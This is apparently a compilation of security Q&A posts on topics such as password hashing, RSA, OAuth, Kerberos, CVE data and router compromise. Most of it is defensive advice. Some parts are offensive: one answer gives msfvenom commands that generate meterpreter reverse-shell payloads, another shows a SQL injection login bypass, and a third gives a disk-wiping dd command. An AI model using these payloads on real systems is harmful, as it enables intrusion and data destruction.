Is it necessary to apply security updates to Docker hosts? For a web server that handles 100% of incoming traffic with Docker containers is it necessary to apply security updates to the host (other than kernel and Docker updates)?

In general it is a good idea to apply any available security patches for a host you're running.  In the case of a Docker host, whilst packages outside of docker and the kernel might not be directly exposed they may come into play if, for example, an attacker gets unprivileged access to the host.

What you can do is look to reduce the number of patches you'll need to apply by reducing the number of packages installed on the host.

If the host literally is just running Docker containers, you could look at something like linuxkit or RancherOS which can create a stripped down base installation.


Finding hidden page on webserver I have a web server with 2 page: index.html and secret.php.

The content of index.html is:

It works!

You can see the index.html file doesn't have any link to secret.php

I don't have file robots.txt. And if someone access to my  web server. Can they know I have a secret.php pages?

I already test with scrapy and nutch crawler. It can not find secret.php file.

When they don't know it is there and have only the domain name, they are unlikely to find it without guessing. But guessing is not uncommon. When you put a webserver online it won't take long until you will have bots probing it for vulnerabilities by flooding it with requests for all kinds of probably interesting files.

What you are doing is very insecure, because it relies on security through obscurity. It is the digital equivalent of storing the key to your house under your doormat. Should someone suspect it's there, there is nothing which stops them from accessing it. The existence can leak in various ways, for example because you access it without https from an unsecure network (You did set up https, did you?).

When you really want to protect the content and functionality of that script from unauthorized access, protect it with a password using .htaccess. It's not as beautiful as a html login page, but really simple to set up.


injection attacks - terminology I have a question related to injection attacks like SQL injections and command injections.

I have a good grasp about how those attacks are performed, but I would like to know where the term injection comes from.

Is that because the attacker injects (inserts) malicious code/commands into the data sent to the application?

Yes, it is injection because you are injecting your code into the existing SQL code.

For example. A common way to log a user in using php and SQL looks like this:

$sql = "SELECT * FROM users WHERE username = '" . $POST['username'] . "' AND password = '" . $POST['password'] . "';"

The variables $POST['username'] and $POST['password'] what the user puts in the login fields. If the user entered the following.

' or 1 == 1 ---

The resulting SQL that is executed looks like this:

SELECT * FROM users WHERE username = '' or 1 == 1 --- AND password = '';

Notice that everything after the "---" is a comment and ignored.  So the sql looks to see if it can find a username that matches null or 1 == 1.  Since 1 always equals 1, the SQL will return true and log the user in.

This is called injection because the user is injecting their code into the code the developer wrote.


How can I hide my AWS S3 access key and secret in C++? I'm using AWS S3 in my C++ app to upload and download files. I've included the access key and secret in my code but I'm worried someone could read them from the binary. Is there any standard technique for obfuscating them?

I'm not running this app on a PC, it's actually on an embedded device so I'm not worried about users reading the key and secret from a file or RAM (accessing the device is a lot harder). What I'm worried about is someone binwalking our update file and pulling the key and secret from the binary.

Key storage is one of those things... Certainly, if the device is powered off someone with the resources could de-solder and storage devices (flash, emmc) and dump the data easily enough. At run time, if someone has super user access they can mmap all physical memory and scan it for the key (which will be in memory once you use it)

Key protection using homomorphic encryption schemes have been gaining popularity but is still largely in the Academic realm (Plus a little voodoo).

To protect against memory forensics picking up your key from physical memory, ARM has "trustzone" which can be leveraged to perform cryptographic operations without exposing keys to memory that is generally visible to the OS.

A TPM is another common approach to storing and using keys without exposing them to memory.

In short there are next to no 'good' software solutions for securing keys, only hardware solutions seem sound (like trustzone and TPMs).


More than one admin required on site to login to a database/resources What is the terminology used in computer security where you need at least two admins at the same time to login/access a database/resources? Maybe by each having part of the password or key. This used in access-control sometimes too.


Do advertisers listen as we talk? A person talks about a certain thing (product or service) with another person and a short time after the talk the person gets the advertising of the discussed thing on the mobile or desktop device.
I heard and read about such occurrences and didn't know what to think about it. Until some days ago I've personally experienced such occurrence: discussed with my wife a certain product and some days after the talk got advertising of it on Facebook.
My question: is it just an accident and there is not any cause to think about private security issue or are browsers on mobile devices indeed analyze talking through allowed microphone access?
It is true, such issues, if really exist, are very difficult to research, because there is no direct relation between the mention and appearing of the advert. But, if one realizes this sequence of mention and advertising, it is very... alarming?

Listening using the microphone is unlikely
Listening secretly without consent
While listening using the microphone for collecting data would be technically possible, there's a few things against the theory. The unifying factor is that secretly monitoring conversations is considered unethical and would probably even be illegal. Getting caught of such actions would ruin any company's reputation for quite a long time, which makes it less likely.
One would eventually get caught, because:

If the device sends the unprocessed audio from the microphone, that would cause notable network traffic.
If the device processes the audio with voice recognition, that would cause notable processor activity.
So many are reverse engineering both the processes and network protocols.

Is it worth it, when there are better and legal alternatives? Data sources without recording offline conversations are already overwhelming, as explained later.
To back up this reasoning, the network traffic on both Android and iOS weren't comparable to Hey Siri and OK Google on Wandera's experiment, where they systematically played both pet ads and silence to the devices and compared their metrics. (Thanks, TCooper!)

Upon examining the results, we found nothing to suggest our phones are
activating the microphone or transferring data in response to sound.
The data consumption and battery consumption changes were minimal, and
in most cases, there was no change at all.

Sources you have given the permission to listen to you
There are also legal sources of microphone data like Alexa, Siri and Google voice search. These are not spying on you all the time but do use voice recognition – that's just a voice interface that replaces the search bar. Some problems do arise when such a service is activated accidentally.
The closest example of recording everything has been Samsung SmartTVs back in 2015 when their privacy policy transparently stated that:

Please be aware that if your spoken words include personal or other
sensitive information, that information will be among the data
captured and transmitted to a third party through your use of Voice
Recognition.

Although this was mentioned in the privacy policy, it caused so much uproar that today their privacy policy has changed and they only send recordings related to voice commands, just like the others:

Voice information: Recordings of your voice that we make and store on
our servers when you enable this function and use voice commands to
control a Service, or when you contact our Customer Service team.

The data collected could also be used in ways you might not know if you haven't read the EULA or the privacy policy carefully – nor understood the legalese used.

Alternative explanations
The following mechanisms / phenomena both exist and complement / reinforce each other.
The Internet knows you better than you do
Everyone is constantly tracked while surfing on the Internet. Tracking cookies can identify the person across several sites and make connections. The searches on search engines are saved and connected (whether they are typed of got using voice recognition). Shopping behaviour is carefully analysed connecting both data voluntarily given using loyalty cards and data left behind involuntarily.
Many things can happen to all this data. It can be sold, connected with data from other sources (anonymized or not), and analysed using algorithms. The results can be and are sold again. This enables advertisers to find carefully selected target groups. The relation doesn't even have to be direct like "people buying tools will soon buy construction materials", but the data may reveal much stranger connections. This is explained in detail with many examples e.g. in Hannah Fry's book Hello World: How to be Human in the Age of the Machine (2018).
The bottom line is that there are ways the advertisers can make good, educated guesses on your potential future needs before you do even without listening to you. That's how you really get surprisingly relevant ads.
Confirmation bias
You talk about hundreds of things during the day. Likewise, you probably see hundreds of ads. Most advertisements are completely irrelevant and about topics you haven't talked, so they are easy to dismiss. However, when you occasionally see advertisements on topics you have been discussing, it starts bugging you, leaving suspicions behind.
Every time this happens, you get more and more convinced that someone must be listening to your conversations, and your phone is the first suspect as your closest friend you even take to the toilet.
This is easy to test by taking a vacation from your smartphone – unless it's glued to you. If it doesn't make any difference in how you see advertisement about the topics you are discussing, then it must be something else than the microphone you always carry with you.


How to encrypt and sign a message with RSA? I have been doing research on how RSA encryption works (mostly from a math's point of view) and I have come to understand this:

By encrypting with the public key of bob, only bob can decrypt it with his private key.
By encrypting with my private key, everybody with my public key can decrypt it, and know it's really me (signature).

But what if I want to sign my message (private key) and make so only bob can read it?

Should I encrypt with my private key for signature and then encrypt with bob public key so only he can read it?

And by the way, wouldn't this be heavy on computing power?

Yes, you should first sign your message (With your private key) and then encrypt it with Bob's public key. In this way only he can decrypt the message with his private key and then verify the signature with your public key to actually know that the message was from you.

About the computing power. GPG encryption, which is the most extended system to encrypt and sign messages using public key encryption, actually uses symmetric encryption (f.e. AES) for messages. In this sense, what it really does is generating a random key for symmetric encryption, encrypt the message with that key and then encrypts that key with the receiver's public key. For signing, GPG calculates a hash of the message (f.e. SHA256) and encrypts that result with the senders private key.

This turns out to be way more performant for large messages, as symmetric encryption and hash calculations are pretty fast and, in some cases like AES, are optimized to be performed in hardware rather than software. Furthermore this mechanism allows a message to be delivered to multiple parties, for this, the symmetric key must be encrypted once for each receiver but the message and the signature stays the same


Are stronger passwords safe in case of a breach? Passwords are not generally held by websites, instead, they hold hashes of your passwords.
When there's a breach, these hashes are stolen and they are matched against rainbow tables of pre generated password hashes.
Is it fair to say that if your password is a genuinely secure password, like xy%5-xthrs32£ that you are still safe. Far far safer than someone with a password like Princess123 or my favourite LetMeIn.

I know the answer is that in the event of a breach, you should always change your password, I'm just trying to understand the security aspect. So, when talking to to someone with a genuinely random password – eg one generated by a good password manager – is it fair to say you are probably safe?

A stronger password is almost always better than a weak password. In the event of a breach, the details of the hashing and salting of passwords become very important.
If the server used plain text, strong passwords and weak passwords are all equally and thoroughly.
If the server used, for example, the infamous Microsoft LAN Manager, hash string passwords won't help much, alphanumeric passwords of length (14 is the max) would be instantly broken using high coverage rainbow tables. Some really odd special characters will help some but not much.
If the site used proper security, for example salted bcrypt hash, there is currently no feasible way of inverting a reasonably strong password even with such a hash. The salting makes rainbow tables not very useful, and bcrypt is designed to be slow to brute force rather than fast to compute legitimately.
However the site.breached is obviously compromised and other sites are presumably using different passwords. If you are using random passwords, you are probably using a password manager and can give each site its own password. So if it's only changing the one compromised password, just do it.


First of all, your shell.c code is right.

The problem is that you are executing an exploit generated for Windows platform, as you can see:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to guarantee the bad characters encoding:

Windows x86: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

there a tiny change for Windows x64, just make sure that your payload path contains "x64": windows/x64/meterpreter/...

Windows x64: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

In a Linux platform you have to specify the architecture in the path to msfvenom:

Linux x86: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

Note that I change the format (-f) output file to .c.

Linux x64: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

However, if your target is Linux x86... So assuming you are on the platform mentioned in your question [4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux] you will have to specify the architecture in gcc using -m32.


Is OAuth 1 less secure than OAuth 2 in an SPA We are writing a pure javascript front-end (in angular) for an API that still uses OAuth 1 for legacy reasons. Being pure javascript means the consumer secret is part of the code that gets downloaded at the start, before authentication, and therefore easily known to an attacker.
This secret is used in calculating the authentication codes together with the token secret, and the token (and the authentication exchange) is protected by TLS and in-browser sandboxing in the same way the bearer token would be if we switched to OAuth 2, which does not encrypt the bearer token at all.
So by revealing the client secret, are we creating any additional attack surface compared to OAuth 2, or is it simply equivalent?
In other words, provided the same methods of protecting the communication and the authorization/access token delivery are used, is there an attack that is viable against OAuth 1 with leaked client secret that is not viable against OAuth 2 with no client secret in SPA mode?

Basically you are leaking the secret... so its no longer a secret.
With oAuth 2 you have the option of not using a static key by implementing PKCE in your flow. meaning you can get the best of both worlds (Easy login and secured secrets).
A big difference between oauth 1 and oauth 2 is that with oauth2 you dependent on the browsers implementation of crypto while for oauth1 you need to bring your own.
This all means that unless you have additional security measures in place, and since you leak the secret, your application is not safe from abuse and eavesdropping. therefor I would go with a switch over to oauth 2 with PKCE.


Are There Best Practice Standards for Username & Password I have to write a password specification - for a product and not a web application (if that makes a difference). I could arbitrarily guess at numbers but want to be more scientific. Is there a standard (like an IEC standard), or defined best-practice, for things like minimum length, maximum length, complexity and so on? Ideally a standard I could just point to.

The NIST guidelines contain excellent and modern recommendations. For example, it recommends checking the password against a blacklist instead of enforcing it contains character classes (uppercase, numbers, punctuation characters).

However, it may be that other parties that are specific to your industry enforce other guidelines, for example if you are subject to HIPAA or PCI-DSS.

A more scientific approach would be to calculate the entropy of a password. However, calculating entropy assumes totally random passwords, and users prefer using their cat's name instead of a randomly generated password.


Is it unsafe to hash one password with more than one salt? I'm asking my question here since I was not able to find an answer anywhere.
I have written a piece of software which stores pretty delicate passwords. I have used BCrypt as hashing algorithm with an appropriate setting of strength. Point is, I have now implemented a method which, everytime the user changes something, chooses a new random salt and hashes the passwords using the new salt. Now worst case scenario would be that someone has, say, one hundred pairs of the passwords hash with the used salt. My question is if this information would help an attacker, and if yes, to which extent.

Thanks to everyone who takes his time to read/answer my question in advantage.
Cheers, Tephelon

Assuming you mean an attacker has 100 copies of the same password hashed with 100 different salts, then no, that doesn't provide any advantage to them in findings the plaintext password.  The benefit of using different salts means that cracking attempts aimed at any one of the hashes must be done independently of the computational work used for the others.

In theory an attacker could build a rainbow table with bcrypt hashes using a specific salt.  By increasing the number of salted hashes you increase the likelihood of one of your salted hashes matching the salt they built their rainbow table with.  However, if your salt is chosen from a reasonable pool of possibilities then this has an infinitesimally small chance of paying off for the attacker.


CVE fields vulnerable_products vs whats in configuration I would like to understand better the structure of the CVE.

(For example) in CVE-2018-19081, vulnerable_products mention product Opticam i5. like so:

"vulnerable_products": [
    "cpe:2.3:o:opticam:i5_application_firmware:2.21.1.128:*:*:*:*:*:*:*",
    "cpe:2.3:o:opticam:i5_system_firmware:1.5.2.11:*:*:*:*:*:*:*"
],

but the configuration nodes also mention product Foscam c2. like so:

"children": [
                {
                    "operator": "OR",
                    "cpe_match": [
                        {
                            "cpe23Uri": "cpe:2.3:o:foscam:c2_application_firmware:2.72.1.32:*:*:*:*:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:foscam:c2_system_firmware:1.11.1.8:*:*:*:*:*:*:*",
                            "vulnerable": true
                        }
                    ]
                },
                {
                    "operator": "OR",
                    "cpe_match": [
                        {
                            "cpe23Uri": "cpe:2.3:h:foscam:c2:-:*:*:*:*:*:*:*",
                            "vulnerable": false
                        }
                    ]
                }
            ]

So why is c2 not mentioned in vunerable_products and why is it mentioned in the configuration?

I've seen many CVEs that their configuration mentions products that are missing from the field vulnerable_products.
What is the purpose of the configuration if not to specify the vulnerable products?

You have listed an NVD JSON 1.1 snippet, and the answer is in the schema.

The vulnerable field is required as it is the primary product affected.

The configurations field is not required, and as the schema states:

Defines the set of product configurations for a NVD applicability statement.

As you point out, the Opticam products are vulnerable, and the configurations section lists other closely related products/configurations that are similarly affected.

Why are they separated? Since CVEs are product-based, it makes sense not to lump multiple products into the primary key for the CVE, but to add the related products in a child node.


Security implications of an exploited router So I completely understand that routers and local networks need to be kept locked down, etc. What real security threats can come about from an attacker who has remotely accessed (telnet or web gui) your home router?

Out of personal interest, I have set up a few test scenarios on my personal network where an attacker may have modified router settings. I found these two features to be the most dangerous.

DMZ each individual client on the LAN (or port forwards)

Enabling direct port scans & possible exploits (nmap & Metasploit)

Evil DNS Servers

Domain names can be forwarded to evil clone sites (ex. SET) allowing for credential nabbing & possible remote shells.

Every other setting in a router seems to just further these two basic ideas in some way or another. So what real dangers lurk behind unprotected routers? Can 'evil' software be installed over telnet. Can traffic be sniffed and SSL stripped? Is there anything really beyond forwarding ports and spoofing DNS? Does an exploited router do anything beyond making the connection between the attacker and victim transparent?

The impact will always be severe, but a lot of the specifics depend on the individual router. If the device runs embedded Linux (e.g. DD-WRT) it may be possible to remotely enable SSH and add a public key to auth_keys, giving full remote shell access.

Without SSH, I can see the following issues:

Rogue DNS
DMZ'ing internal IPs
Arbitrary port forwarding
Allowing IPsec / L2TP through the firewall (could hit internal VPN endpoint)
Backdoored router update
Modifying routing tables
Fingerprinting of internal systems (often easy to see host names, IPs, sometimes OSes too)

With SSH, we can add some more stuff on top:

Uploading arbitrary tools, e.g. sslstrip / sslsniff - MitM is easy.
Exposing a VPN endpoint, allowing more remote attacks
Installing malware (e.g. botnet node)
Directly attacking internal systems.

In terms of getting remote shell access without it being a full Linux system, it very much depends on the router. Telnet may well only be used to send new firmware images, or it could have much more functionality. The firmware images might be signed, or they might not. It all depends.


Asymmetric Encryption I understand Asymmetric Encryption works by having the private key known only to your computer, while the public key is given by your computer to any computer that wants to communicate securely with it. To decode an encrypted message, a computer must use the public key, provided by the originating computer, and its own private key.

What stops an attacker listening in from just grabbing the key which you send alongside the data? If it's not actually being sent alongside the encrypted data, then at what point does the server receive the key that it needs to decrypt?

I know it's likely an obvious answer but Cryptography is my weak spot in IT. Googling it didn't help either, the answers were just too simplified or never covered the networking side (When a key is sent, received, and by whom).

Your understanding of how asymmetric cryptography works is somewhat flawed.  In general the public key is NOT used to decrypt anything.  It is used to encrypt.  The private key is used to decrypt.

There are several mechanisms to get secret communication going starting with a public/private key pair held by the server.  For the most part they involve the client and server exchanging messages to establish a shared symmetric key which both use for subsequent communication.

In the simplest, but somewhat disfavoured, method the client picks the symmetric session key, encrypts it with the server's public key and sends it to the server.  Since the session key is encrypted with the server's public key any observer won't be able to determine what it is.

More complex methods of establishing the session key include Diffie-Helman Key Exchange and Elliptic-Curve Diffie-Helman key exchange.  These avoid sending any key over the network and preserve secrecy in the event of a future compromise of the server's key but involve some maths to allow both server and client to derive the same key.

In no case is the private part of a public-key pair ever sent over the network.


What is the best practice to store private key, salt and initialization vector in database? I am working on java application to create a digital signature to sign a document. I already created private key and public key using (Elliptic-curve cryptography) ECC, and now I want to store both keys in mysql database.

I dont have any problem with public key, but my concern is to securely store the private key.

I'm using AES 128 bit to encrypt the private key and 6 digit password from user to store in database. To encrypt it, I need to generate salt and initialize vector as well.

But now, to decrypt it I also need to know same salt and initialization vector (iv) I use to decrypt the encrypted private key.

Question 1:

Is it secure to store salt and vector in database same table with private key? Currently I encode public and private keys, salt and iv and save as string (data type VARCHAR) in database.

Question 2:

Below is current workflow I design. Is this the best practice? I dont want to make too much process that will affect CPU usage.

Creating key

Create private key using ECC
Encode private key (Bytes To String)
Encrypt private key using AES
Encode private key, salt, iv (Bytes To
String)
Store in database as VARHCAR

Signing document

Retrieve private key from DB
Decode private key, salt, iv
Decrypt private key
Decode private key
Convert decoded key to actual private key for signing

Code snippet to generate key and encryption:

        //Generate salt
        Random r = new SecureRandom();
        byte[] salt = new byte[8];
        r.nextBytes(salt);
        //System.out.println("salt: "+salt);

        //initialize vector
        byte[] vector = new byte[128/8];
        r.nextBytes(vector);
        IvParameterSpec ivspec = new IvParameterSpec(vector);
        //System.out.println("iv: "+iv);

        //initialize variables
        String MsgToEncrypt = encodedECCprivateKeyBytes;
        String userPin = ParamUtil.getString(actionRequest, "userPin");
        Cipher ecipher;

        //Generating AES key
        SecretKeyFactory factory =  SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
        KeySpec mykeySpec = new PBEKeySpec(userPin.toCharArray(), salt, 10000, 128);
        SecretKey tmp = factory.generateSecret(mykeySpec);
        SecretKeySpec mySecretkey = new SecretKeySpec(tmp.getEncoded(), "AES");

        //==> Create and initiate encryption
        System.out.println("Initiate encryption alogrithm...");
        ecipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        //System.out.println("Algorithm to encrypt private key: " + ecipher);
        ecipher.init(Cipher.ENCRYPT_MODE, mySecretkey, ivspec);
        //System.out.println("SecKey: "+mySecretkey);

I will answer your question in two parts since you asked it in two parts:

  Question 1:
  Is it secure to store salt and vector in database same table with private key? Currently I encode public and private keys, salt and iv and save as string (data type VARCHAR) in database.

Short answer: Yes, it is secure.

Explanation: It is generally accepted that keeping salt in plain-text alongside the hashed password is secure. This is based off of the logic that if an attacker has the salt and the hash, they still need to utilize a brute force attack to attempt to guess the password used to create the hash. Keeping the salt a secret as well would improve security but so long as the password is reasonably strong, not necessary. For the IV, it is much more complicated and in my opinion out of scope to go into here (and out of my comfort zone to explain) but it is considered secure for the IV to be stored in plain-text next to the cipher-text.

  Question 2:
  Below is current workflow I design. Is this the best practice? I don't want to make too much process that will affect CPU usage.

The workflow appears good to me and is about the same as I would have done, with a few details I think you can improve since you are asking for best practice:

First, your salt is a little bit too short. The issue with this is that with an 8 byte salt even when generated using a crypto-random generator (like you are, which is good) there is the chance of collisions where two or more different users are assigned the same salt value. To mitigate this, the recommendation I follow is a salt length of 256 bits or 32 bytes.
Second piece of advice and I am not sure based on your code if you are already aware, but make sure you never re-use the same IV with the same AES key twice. Due to very fancy cryptanalysis this can create vulnerabilities in the encryption making it breakable. Since the key is being generated from a user password which I will assume is rarely changed, make sure you rotate the IV every time you re-encrypt the private key.
It appears you are only doing 10 000 rounds of hashing at the moment. Although this is not horrible, the golden rule I have always followed is 2^(year-2000) iterations. Since it's 2018, 250 000 hashing iterations or as close to this value as you can get before reaching severe performance issues is the best practice.

Otherwise I think everything looks good, you made a good choice in hashing and public-private key algorithms and were wise to seek help to ensure you did not overlook anything.

Hope it helps!


Encryption using multiple Yubikeys, any of which can unlock I was hoping to use my Yubikey for file encryption, but also wanted to have a backup Yubikey work to unlock the file.

From a conceptual point of view, I know it is possible since, even as is, I believe many encryptions work by symmetrically encrypting an asymmetric password used to encrypt the rest of the data, so all I would need is multiple encryptions of the asymmetric password for each key.

I'm not sure which tools support this kind of encryption, but was hoping to find a tool that:

Supports use of multiple yubikeys
Bonus: Works well with cloud storage by encrypting files individually or otherwise breaks up the file into smaller pieces only some of which need to be reuploaded when a file changes.

Since Yubikey supports OpenPGP. So yes, you just need to address any messages you encrypt to both the recipients and and the backup key. PGP messages can have multiple recipients.

You'll also need to tell people sending messages to you, to also address your backup key, or to reencrypt their message to your backup key whenever you receive them.


Is it safe to implement 15 bytes password reset tokens? I want to figure out how safe is to implement a 15 bytes long password reset token.

If we have 26 letters and 10 numbers, 36 possibilities per byte. And we have a 15 byte long token, that means that the total amount of possibilities is 36^15.

Is it possible to brute-force and find a token in a reasonable amount of time? The amount of possibilities here is really really big, so i don't understand why other websites implement a +32 or +50 byte long tokens.

Can someone explain that and maybe the math behind this to probe if this is possible?

Let's assume we can brute-force at 15k request per second and the token does not expire**

Let's say you want to be extra careful and hash the token in case of a database leak (tokens should expire anyway, but maybe some are still valid shortly after a leak). You also don't want to have any useful information in the token since emails aren't difficult to intercept, in fact, you don't even want to have an incrementing reset token id because someone could see how many tokens have been issued (what they would do with that I don't know, but maybe you're a bit paranoid).

So to have some way to tie it to a user while still hashing it, you decide to take a 256 bit value generated by a CSPRNG, split it in half, use the first 128 bits as an identifier, and the 2nd 128 bits as the token. Both halves are included in the reset token url, the database stores the first half in plaintext, and hashes the second half before storing.

So you've got a 256 bit value now, how do you encode it in the url? If you want to only use letters and digits, you'll need ln(2^256) / ln(36) ≈ 49.5, 50 characters. So there you go.

I'm not saying everyone using a long reset token is doing it this way, but this is a reasonable thing to do that would require a longer token.

Does this mean a 15 character token is bad?

Not really. It's only got about 77.5 bits of entropy (assuming it's generated by a CSPRNG, which it needs to be), which is a bit low, but if you're not worried about an offline attack (hopefully your reset tokens are short lived), that's perfectly reasonable. It just means there's also a reasonable way to come up with a 50 character reset token. And really, what do 35 extra characters in a url hurt?


SQLMap deleted database items While doing test on my website, SQLMap deleted data in my database tables. Everything is corrupt.

What is a safe way of using this tool without touching other items on a live server? How do you use SQLMap on a live server?

Maybe you used the option --risk with a value higher than 1.

from the official doc:

  The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests.

so if it's extremely necessary to run the scanner on prod, don't use a higher value for that option [sqlmap by default use --risk=1 but can be the case that a query is so malformed that can create a chaos on your database]

official doc: https://github.com/sqlmapproject/sqlmap/wiki/Usage#risk


Is it safe to have port 443 unprotected by firewall without application? Say I have a website, http://www.mostlysecuresite.com, which runs on a server at my house. Let's say I wanted to get an SSL cert in a few weeks. Because of this, I had my Port 443 forwarded on my router to my server, and the firewall was open for it. Could an attacker theoretically harm my server through this open port?

Just wondering.

When you open the ports to the public internet the security of your server relies on that of the application behind the corresponding port.  So if you have an application running on 443 that is vulnerable to some sort of an attack then you will now have opened up a vulnerability to the internet.  However; I'm assuming that if you are about to use that port for SSL you are confident there are no security vulnerabilities in the software running on that port.

To put it simply, opening that port before you have the SSL cert in place does not create any more vulnerabilities that what would be there when you did have the SSL cert besides the possibility of a MITM on a client using the web application.


What should I tell my client if I see that their site is susceptible to SQL injection? Someone asked me to take over maintaining their (quite old) website. I looked at the code, and I see that every page has calls to mysql_query, with sql strings concatenated with completely unsanitized $_GET variables. It's a huge website, and would need to be rewritten from scratch to get rid of all these problems. I'm assuming that they've never experienced any attacks, or they would have mentioned it.

Should I tell them about it, and if so, what should I say?

They have experienced attacks, they just don't know it.

You should tell them:

Assume that all data in the site has been compromised.
Tell them what you told us:  The site needs to be re-written.


Is this a good approach to secure my REST API? My application consists of a nodejs back end API but I am also developing a "reference" implementation of a JavaScript client, which is a backbone SPA.

First of all; the API accepts only HTTPS requests, in case an HTTP request reaches the server it completely ignores it and also (depending on tenant configuration) invalidates the password provided on that insecure request.

My server is stateless and I am using only HTTP(S) basic authentication. I provide two ways of authenticating a request:

1- Sending credentials on header Authentication: base64('Basic ' + user:password)
2- Sending an authenticated request using method 1 to GET /users/current which returns a token that is an encrypted string* containing: username + '|' + timeOfTokenExpiration. Client then sends only header Authentication: base64('Token ' + username:returnedToken) thereafter.

*Encryption is done with OpenSSL's aes-256-ctr algorithm, and key is user's password hash

Method 1 can be used for a straight server-to-server communication, but it is not suitable for a JavaScript client since the user would have to insert his credentials on every request, what is infeasible.

Storing user credentials on browser's local storage would solve this issue but would keep the user indefinitely logged, creating another possible security threat. Also I am not sure how secure it is to store credentials in clear text on browser's memory.

By using method 2 the JavaScript client would send only one authenticated request and then store encrypted credentials on local storage, after a given amount of time it has to revalidate user credentials since it will eventually expire and server will no long accept requests from that token.

At server side I check authenticity of a method 2 request by retrieving user's password hash and trying to decrypt it. After decryption I check if decryptedString.split('|')[0] === username.

Is this a safe/good approach?

There's a problem with you method 2: if you use the user's hash as the encryption key for the token - and the only thing verified in the server is whether or not the token decrypts (no other validation is performed in the token) - then whoever has the user's hash can authenticate as that user. This voids any protection* granted by hashing the user password, you might as well store it as plain text...

I'd suggest not bothering to encrypt the token (since it has no sensitive data in it), only signing it with a secret known only to the server, and verifying that the signature is valid when the user tries to authenticate using method 2. Note that by "signature" I mean either a digital signature using a private key known only to the server, or a HMAC using a similar secret. Remembering not to store this secret in the DB itself, but in either a hardware module, memory-only or - if you has to - a configuration file.

* To be fair, at the very least the password itself will still be protected - only your system will be vulnerable, other systems where the user has reused that password won't be negatively affected.


How to ensure a second hand computer is safe to use I'm planning to buy a second hand computer (2012 Mac mini, which is no longer available in stores). Because I'm not sure if there is any malware in the computer so I will perform hard format several times. I think this could prevent malwares to exist in the drive. But I'm not sure if this is enough for ensure the safety because there could be other problem like other have written malicious programs in the firmware etc. Is there any way to ensure a second hand computer is safe to use?

Basically you cannot win against malicious firmware. For anything on the disk, you can boot up a Linux from a CD or USB stick, and proceed to carpet the disk with zeros with a subtle dd if=/dev/zero of=/dev/sda. For firmware, you are out, unless you unsolder all the Flash chips, flash them with code of your own, and solder them back -- not a realistic method, for many reasons.

One way to look at it is the price. You can avoid the issue with malicious firmware (planted by the previous owner) by the simple expedient of buying a brand new machine from Apple instead. It will be more expensive: that's the price of the extra safety. So the question becomes: how much do you value your data ?

(If Apple themselves install malicious firmware then you are doomed anyway.)


Why do I need Kerberos when I could just use a username and password to access services? I have read that Kerberos is used for authenticating users who wish to access services on various servers in an enterprise network, but I still do not understand the purpose of Kerberos. Why doesn't the system admin just create a user account for each user on each server, so that the users can use their username and password to access whatever resources they wish to access? Why is such an elaborate authentication protocol necessary?

Why doesn't the system admin just create a user account for each user on each server, so that the users can use their username and password to access whatever resources they wish to access?

Imagine you have 50 users and 50 servers.  For the sake of simplicity, suppose that all 50 users are supposed to have access to all 50 servers, they all have the same privileges on all servers, and we never have to change these privileges.  This is 2,500 password entries in total that need to be created.

Adding a new user

When you add a new user, the admin has to go to all 50 servers and add that one user to all of them.  This would need the admin to run the create user command in all 50 servers.  That bit can be automated, but the part that cannot be safely automated is that the user would need to enter their password 50 times, once per server.

Why this latter problem?  Because password authentication systems are designed so that they do not retain a copy of the password, not even an encrypted copy.  So when the user enters their new password on server #1, that server forgets the password right away, so they'd have to enter it yet again for server #2, and #3, etc.

Adding a new server

Maybe now you're thinking that you could write a script that:

Runs on server X;
Asks the new user to enter their new password;
Asks the administrator for their password;
Logs in to servers #1 through #50, and creates the user account on each of them with the same password.

That's a bit dodgy, but even if you go for it, you're still left with another, bigger problem.  Suppose your company buys a new server, and we now need our 50 users to have access on this server.  Well, since none of the servers contains a copy of the users' passwords, the administrator would have to go to each user and have them enter a password for their account in the new server.  And there's no getting around this unless you kept copies of users' passwords—which again, is an insecure practice.

Centralized password database

To solve these problems you really need your user/password database to be centralized in one place, and to have all the servers consult that database to authenticate usernames and passwords.  This is really the bare minimum you need for a manageable multiuser/multiserver environment.  Now:

When you add a new user, all the servers automatically pick it up from the central database.
When you add a new server, it automatically picks up all the users from the central database.

There's a variety of mechanisms for doing this, albeit they're still short of what Kerberos offers.

Kerberos

Once you have such a centralized database it makes sense to buff it up with more features, both for ease of management and for convenience.  Kerberos adds the ability that, when an user has successfully logged in to one service, that service "remembers" the fact and is able to "prove" to other services that this user logged in successfully.  So those other services, presented with such proof, will let the user in without asking them for a password.

This offers a mix of convenience and safety:

Users don't get asked for their password over and over when they've already entered it successfully once that day.
When you have programmers who write programs that access multiple servers, and those servers require authentication, the programs can now authenticate to those servers without having to present a password, by reusing the credentials of the server account they run under.

The latter is important because it minimizes or kills an insecure but all too common practice: automated programs that require you to put copies of usernames and passwords in configuration files.  Again, a key idea of secure password management is do not store copies of passwords, not even encrypted copies.


UUID and Open_id in cookie 'good' enough? I am using Tomcat 7, jsp to build a small website. I am new to security and it is a school project so using Spring Security is not an option. I am attempting to store UUID and Open_id in the clients cookies for the "Remember me ,User login" feature. Then just checking these two ids in the database, to see if it exist. Is this secure enough for a small website if https isn't an option as well? Any pointers?

